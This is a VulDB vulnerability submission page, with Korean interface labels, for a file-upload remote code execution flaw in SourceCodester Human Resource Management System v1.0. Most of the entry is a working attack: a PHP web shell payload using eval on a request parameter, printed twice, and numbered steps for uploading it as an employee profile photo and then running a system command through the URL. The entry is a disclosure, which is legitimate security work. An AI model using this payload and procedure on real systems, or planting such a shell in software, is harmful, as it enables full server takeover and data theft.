| 제목 | Human Resource Management System v1.0 - Remote Code Execution via File Upload Vulnerbility |
|---|
| 설명 | # Exploit Title: Human Resource Management System v1.0 - Remote Code Execution via File Upload Vulnerbility
# Exploit Author: Pratik Shetty
# Vendor Name: oretnom23
# Vendor Homepage: https://www.sourcecodester.com/php/15740/human-resource-management-system-project-php-and-mysql-free-source-code.html
# Software Link: https://www.sourcecodester.com/php/15740/human-resource-management-system-project-php-and-mysql-free-source-code.html
# Version: v1.0
# Tested on: Windows 10, Apache
# CVE: ytd
Description: In Human Resource Management System version 1.0 there is a File upload vulnerability which leads to Remote Code Execution. In that any attacker can execute malicious command and get the system access completely.
Payload:
<?php eval ("echo ".$_REQUEST["parameter"].";"); ?>
Steps:
1) Login into the admin account
2) Now go to add employee
3) Now in that fill the details
4) Now upload "profile photo" in that upload a malicious PHP file.
Payload: <?php eval ("echo ".$_REQUEST["parameter"].";"); ?>
5) Now save the data of this new employee
6) Go to his Profile and open the profile photo in next tab
7) Now in the above URL type this
?parameter=value;system('ls -l');
8) As you can see our command injection is been executed |
|---|
| 사용자 | draco (UID 24011) |
|---|
| 제출 | 2022. 10. 13. PM 03:09 (4 연령 ago) |
|---|
| 모더레이션 | 2022. 10. 13. PM 04:53 (2 hours later) |
|---|
| 상태 | 수락 |
|---|
| VulDB 항목 | 210772 [SourceCodester Human Resource Management System 1.0 Profile Photo parameter 권한 상승] |
|---|
| 포인트들 | 17 |
|---|